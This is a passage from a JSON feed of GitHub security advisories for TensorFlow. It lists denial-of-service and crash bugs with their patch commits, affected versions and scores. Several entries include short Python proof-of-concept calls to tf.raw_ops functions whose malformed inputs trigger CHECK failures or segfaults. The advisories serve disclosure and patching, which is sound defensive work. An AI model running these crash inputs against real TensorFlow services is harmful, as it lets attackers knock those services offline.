maxval=None)\narg_1=tf.random.uniform(shape=(2, 2, 2), dtype=tf.int32, maxval=65536)\narg_2=tf.random.uniform(shape=(2, 2, 2), dtype=tf.int32, maxval=65536)\narg_3=''\ntf.raw_ops.TensorListScatter(tensor=arg_0, indices=arg_1, \nelement_shape=arg_2, name=arg_3)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [bb03fdf4aae944ab2e4b35c7daa051068a8b7f61](https://github.com/tensorflow/tensorflow/commit/bb03fdf4aae944ab2e4b35c7daa051068a8b7f61).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by 刘力源, Information System \u0026 Security and Countermeasures Experiments Center, Beijing Institute of Technology.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:15:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vm7x-4qhj-rrcq","https://github.com/tensorflow/tensorflow/commit/bb03fdf4aae944ab2e4b35c7daa051068a8b7f61","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35991","https://github.com/advisories/GHSA-vm7x-4qhj-rrcq"],"source_kind":"github","identifiers":["GHSA-vm7x-4qhj-rrcq","CVE-2022-35991"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.051Z","updated_at":"2023-01-28T05:02:54.000Z","epss_percentage":0.00214,"epss_percentile":0.44047},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXJocnEtNjRtcS1oZjlo","url":"https://github.com/advisories/GHSA-rhrq-64mq-hf9h","title":"FPE in TFLite division operations","description":"### Impact\nThe implementation of division in TFLite is [vulnerable to a division by 0 error](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/lite/kernels/div.cc)\n\nThere is no check that the divisor tensor does not contain zero elements.\n\n### Patches\nWe have patched the issue in GitHub commit [1e206baedf8bef0334cca3eb92bab134ef525a28](https://github.com/tensorflow/tensorflow/commit/1e206baedf8bef0334cca3eb92bab134ef525a28).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-08-25T14:40:16.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-rhrq-64mq-hf9h","https://nvd.nist.gov/vuln/detail/CVE-2021-37683","https://github.com/tensorflow/tensorflow/commit/1e206baedf8bef0334cca3eb92bab134ef525a28","https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/lite/kernels/div.cc","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-596.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-794.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-305.yaml","https://github.com/advisories/GHSA-rhrq-64mq-hf9h"],"source_kind":"github","identifiers":["GHSA-rhrq-64mq-hf9h","CVE-2021-37683"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":33.100981977951726,"packages":[{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:49.195Z","updated_at":"2024-11-13T21:16:42.000Z","epss_percentage":0.00012,"epss_percentile":0.01077},{"uuid":"GSA_kwCzR0hTQS04NGptLTRjZjMtOWpmbc4AAu2j","url":"https://github.com/advisories/GHSA-84jm-4cf3-9jfm","title":"TensorFlow vulnerable to `CHECK` failures in `FractionalAvgPoolGrad`","description":"### Impact\nThe implementation of `FractionalAvgPoolGrad` does not fully validate the input `orig_input_tensor_shape`. This results in an overflow that results in a  `CHECK` failure which can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\n\noverlapping = True\norig_input_tensor_shape = tf.constant(-1879048192, shape=[4], dtype=tf.int64)\nout_backprop = tf.constant([], shape=[0,0,0,0], dtype=tf.float64)\nrow_pooling_sequence = tf.constant(1, shape=[4], dtype=tf.int64)\ncol_pooling_sequence = tf.constant(1, shape=[4], dtype=tf.int64)\ntf.raw_ops.FractionalAvgPoolGrad(orig_input_tensor_shape=orig_input_tensor_shape, out_backprop=out_backprop, row_pooling_sequence=row_pooling_sequence, col_pooling_sequence=col_pooling_sequence, overlapping=overlapping)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [03a659d7be9a1154fdf5eeac221e5950fec07dad](https://github.com/tensorflow/tensorflow/commit/03a659d7be9a1154fdf5eeac221e5950fec07dad).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:13:23.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-84jm-4cf3-9jfm","https://github.com/tensorflow/tensorflow/commit/03a659d7be9a1154fdf5eeac221e5950fec07dad","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35963","https://github.com/advisories/GHSA-84jm-4cf3-9jfm"],"source_kind":"github","identifiers":["GHSA-84jm-4cf3-9jfm","CVE-2022-35963"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.094Z","updated_at":"2023-01-28T05:03:02.000Z","epss_percentage":0.00194,"epss_percentile":0.41773},{"uuid":"GSA_kwCzR0hTQS13eGpqLWNnY3gtcjN2cc4AAu2d","url":"https://github.com/advisories/GHSA-wxjj-cgcx-r3vq","title":"TensorFlow vulnerable to `CHECK` failures in `AvgPool3DGrad`","description":"### Impact\nThe implementation of `AvgPool3DGradOp` does not fully validate the input `orig_input_shape`. This results in an overflow that results in a  `CHECK` failure which can be used to trigger a denial of service attack:\n```python\nimport tensorflow as tf\n\nksize = [1, 1, 1, 1, 1]\nstrides = [1, 1, 1, 1, 1]\npadding = \"SAME\"\ndata_format = \"NDHWC\"\norig_input_shape = tf.constant(1879048192, shape=[5], dtype=tf.int32)\ngrad = tf.constant(1, shape=[1,3,2,4,2], dtype=tf.float32)\ntf.raw_ops.AvgPool3DGrad(orig_input_shape=orig_input_shape, grad=grad, ksize=ksize, strides=strides, padding=padding, data_format=data_format)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [9178ac9d6389bdc54638ab913ea0e419234d14eb](https://github.com/tensorflow/tensorflow/commit/9178ac9d6389bdc54638ab913ea0e419234d14eb).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:11:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-wxjj-cgcx-r3vq","https://github.com/tensorflow/tensorflow/commit/9178ac9d6389bdc54638ab913ea0e419234d14eb","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35959","https://github.com/advisories/GHSA-wxjj-cgcx-r3vq"],"source_kind":"github","identifiers":["GHSA-wxjj-cgcx-r3vq","CVE-2022-35959"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.152Z","updated_at":"2023-01-28T05:02:54.000Z","epss_percentage":0.00194,"epss_percentile":0.41773},{"uuid":"GSA_kwCzR0hTQS1mdjQzLTkzZ3Ytdm04Zs4AAu2W","url":"https://github.com/advisories/GHSA-fv43-93gv-vm8f","title":"TensorFlow vulnerable to null dereference on MLIR on empty function attributes","description":"### Impact\nWhen [`mlir::tfg::ConvertGenericFunctionToFunctionDef`](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/ir/importexport/functiondef_import.cc) is given empty function attributes, it gives a null dereference.\n```cpp\n// Import the function attributes with a `tf.` prefix to match the current\n// infrastructure expectations.\nfor (const auto\u0026 namedAttr : func.attr()) {\n  const std::string\u0026 name = \"tf.\" + namedAttr.first;\n  const AttrValue\u0026 tf_attr = namedAttr.second;\n  TF_ASSIGN_OR_RETURN(Attribute attr,\n                      ConvertAttributeValue(tf_attr, builder, tfgDialect));\n  attrs.append(name, attr);\n}\n```\nIf `namedAttr.first` is empty, it will crash.\n\n### Patches\nWe have patched the issue in GitHub commit [1cf45b831eeb0cab8655c9c7c5d06ec6f45fc41b](https://github.com/tensorflow/tensorflow/commit/1cf45b831eeb0cab8655c9c7c5d06ec6f45fc41b).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T21:59:08.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-fv43-93gv-vm8f","https://github.com/tensorflow/tensorflow/commit/1cf45b831eeb0cab8655c9c7c5d06ec6f45fc41b","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-36011","https://github.com/advisories/GHSA-fv43-93gv-vm8f"],"source_kind":"github","identifiers":["GHSA-fv43-93gv-vm8f","CVE-2022-36011"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.224Z","updated_at":"2023-01-28T05:03:02.000Z","epss_percentage":0.00235,"epss_percentile":0.46461},{"uuid":"GSA_kwCzR0hTQS1taDNtLTYydjctNjh4Z84AAu2Y","url":"https://github.com/advisories/GHSA-mh3m-62v7-68xg","title":"TensorFlow vulnerable to `CHECK` fail in `Unbatch`","description":"### Impact\nWhen `Unbatch` receives a nonscalar input `id`, it gives a `CHECK` fail that can trigger a denial of service attack.\n```python\nimport tensorflow as tf\nimport numpy as np\narg_0=tf.constant(value=np.random.random(size=(3, 3, 1)), dtype=tf.float64)\narg_1=tf.constant(value=np.random.randint(0,100,size=(3, 3, 1)), dtype=tf.int64)\narg_2=tf.constant(value=np.random.randint(0,100,size=(3, 3,  1)), dtype=tf.int64)\narg_3=47\narg_4=''\narg_5=''\ntf.raw_ops.Unbatch(batched_tensor=arg_0, batch_index=arg_1, id=arg_2, \n                   timeout_micros=arg_3, container=arg_4, shared_name=arg_5)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [4419d10d576adefa36b0e0a9425d2569f7c0189f](https://github.com/tensorflow/tensorflow/commit/4419d10d576adefa36b0e0a9425d2569f7c0189f).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by 刘力源, Information System \u0026 Security and Countermeasures Experiments Center, Beijing Institute of Technology.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:06:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-mh3m-62v7-68xg","https://github.com/tensorflow/tensorflow/commit/4419d10d576adefa36b0e0a9425d2569f7c0189f","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-36002","https://github.com/advisories/GHSA-mh3m-62v7-68xg"],"source_kind":"github","identifiers":["GHSA-mh3m-62v7-68xg","CVE-2022-36002"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.190Z","updated_at":"2023-01-28T05:02:54.000Z","epss_percentage":0.00202,"epss_percentile":0.42687},{"uuid":"GSA_kwCzR0hTQS13cW1jLXBtOGMtMmpoY84AAu2V","url":"https://github.com/advisories/GHSA-wqmc-pm8c-2jhc","title":"TensorFlow vulnerable to segfault in `Requantize`","description":"### Impact\nIf `Requantize` is given `input_min`, `input_max`, `requested_output_min`, `requested_output_max` tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\n\nout_type = tf.quint8\ninput = tf.constant([1], shape=[3], dtype=tf.qint32)\ninput_min = tf.constant([], shape=[0], dtype=tf.float32)\ninput_max = tf.constant(-256, shape=[1], dtype=tf.float32)\nrequested_output_min = tf.constant(-256, shape=[1], dtype=tf.float32)\nrequested_output_max = tf.constant(-256, shape=[1], dtype=tf.float32)\ntf.raw_ops.Requantize(input=input, input_min=input_min, input_max=input_max, requested_output_min=requested_output_min, requested_output_max=requested_output_max, out_type=out_type)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [785d67a78a1d533759fcd2f5e8d6ef778de849e0](https://github.com/tensorflow/tensorflow/commit/785d67a78a1d533759fcd2f5e8d6ef778de849e0).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T21:57:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-wqmc-pm8c-2jhc","https://github.com/tensorflow/tensorflow/commit/785d67a78a1d533759fcd2f5e8d6ef778de849e0","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-36017","https://github.com/advisories/GHSA-wqmc-pm8c-2jhc"],"source_kind":"github","identifiers":["GHSA-wqmc-pm8c-2jhc","CVE-2022-36017"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.232Z","updated_at":"2023-01-30T05:02:53.000Z","epss_percentage":0.00214,"epss_percentile":0.44081},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTk3d2YtcDc3Ny04Nmpx","url":"https://github.com/advisories/GHSA-97wf-p777-86jq","title":"Division by zero in TFLite's implementation of Split","description":"### Impact\nThe implementation of the `Split` TFLite operator is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/e2752089ef7ce9bcf3db0ec618ebd23ea119d0c7/tensorflow/lite/kernels/split.cc#L63-L65):\n\n```cc\nTF_LITE_ENSURE_MSG(context, input_size % num_splits == 0, \"Not an even split\");\nconst int slice_size = input_size / num_splits;\n```\n\nAn attacker can craft a model such that `num_splits` would be 0.\n\n### Patches\nWe have patched the issue in GitHub commit [b22786e7e9b7bdb6a56936ff29cc7e9968d7bc1d](https://github.com/tensorflow/tensorflow/commit/b22786e7e9b7bdb6a56936ff29cc7e9968d7bc1d).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360. ","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:28:01.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-97wf-p777-86jq","https://nvd.nist.gov/vuln/detail/CVE-2021-29599","https://github.com/tensorflow/tensorflow/commit/b22786e7e9b7bdb6a56936ff29cc7e9968d7bc1d","https://github.com/tensorflow/tensorflow/blob/e2752089ef7ce9bcf3db0ec618ebd23ea119d0c7/tensorflow/lite/kernels/split.cc#L63-L65","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-527.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-725.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-236.yaml","https://github.com/advisories/GHSA-97wf-p777-86jq"],"source_kind":"github","identifiers":["GHSA-97wf-p777-86jq","CVE-2021-29599"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:03.207Z","updated_at":"2024-11-13T16:07:27.000Z","epss_percentage":0.00017,"epss_percentile":0.0256},{"uuid":"GSA_kwCzR0hTQS1jdjJwLTMydjMtdmh3cc4AAu2U","url":"https://github.com/advisories/GHSA-cv2p-32v3-vhwq","title":"TensorFlow vulnerable to `CHECK` fail in `RandomPoissonV2`","description":"### Impact\nWhen `RandomPoissonV2` receives large input shape and rates, it gives a `CHECK` fail that can trigger a denial of service attack.\n```python\nimport tensorflow as tf\narg_0=tf.random.uniform(shape=(4,), dtype=tf.int32, maxval=65536)\narg_1=tf.random.uniform(shape=(4, 4, 4, 4, 4), dtype=tf.float32, maxval=None)\narg_2=0\narg_3=0\narg_4=tf.int32\narg_5=None\ntf.raw_ops.RandomPoissonV2(shape=arg_0, rate=arg_1, seed=arg_2,\n                           seed2=arg_3, dtype=arg_4, name=arg_5)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [552bfced6ce4809db5f3ca305f60ff80dd40c5a3](https://github.com/tensorflow/tensorflow/commit/552bfced6ce4809db5f3ca305f60ff80dd40c5a3).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by 刘力源, Information System \u0026 Security and Countermeasures Experiments Center, Beijing Institute of Technology.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T21:39:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-cv2p-32v3-vhwq","https://github.com/tensorflow/tensorflow/commit/552bfced6ce4809db5f3ca305f60ff80dd40c5a3","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-36003","https://github.com/advisories/GHSA-cv2p-32v3-vhwq"],"source_kind":"github","identifiers":["GHSA-cv2p-32v3-vhwq","CVE-2022-36003"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 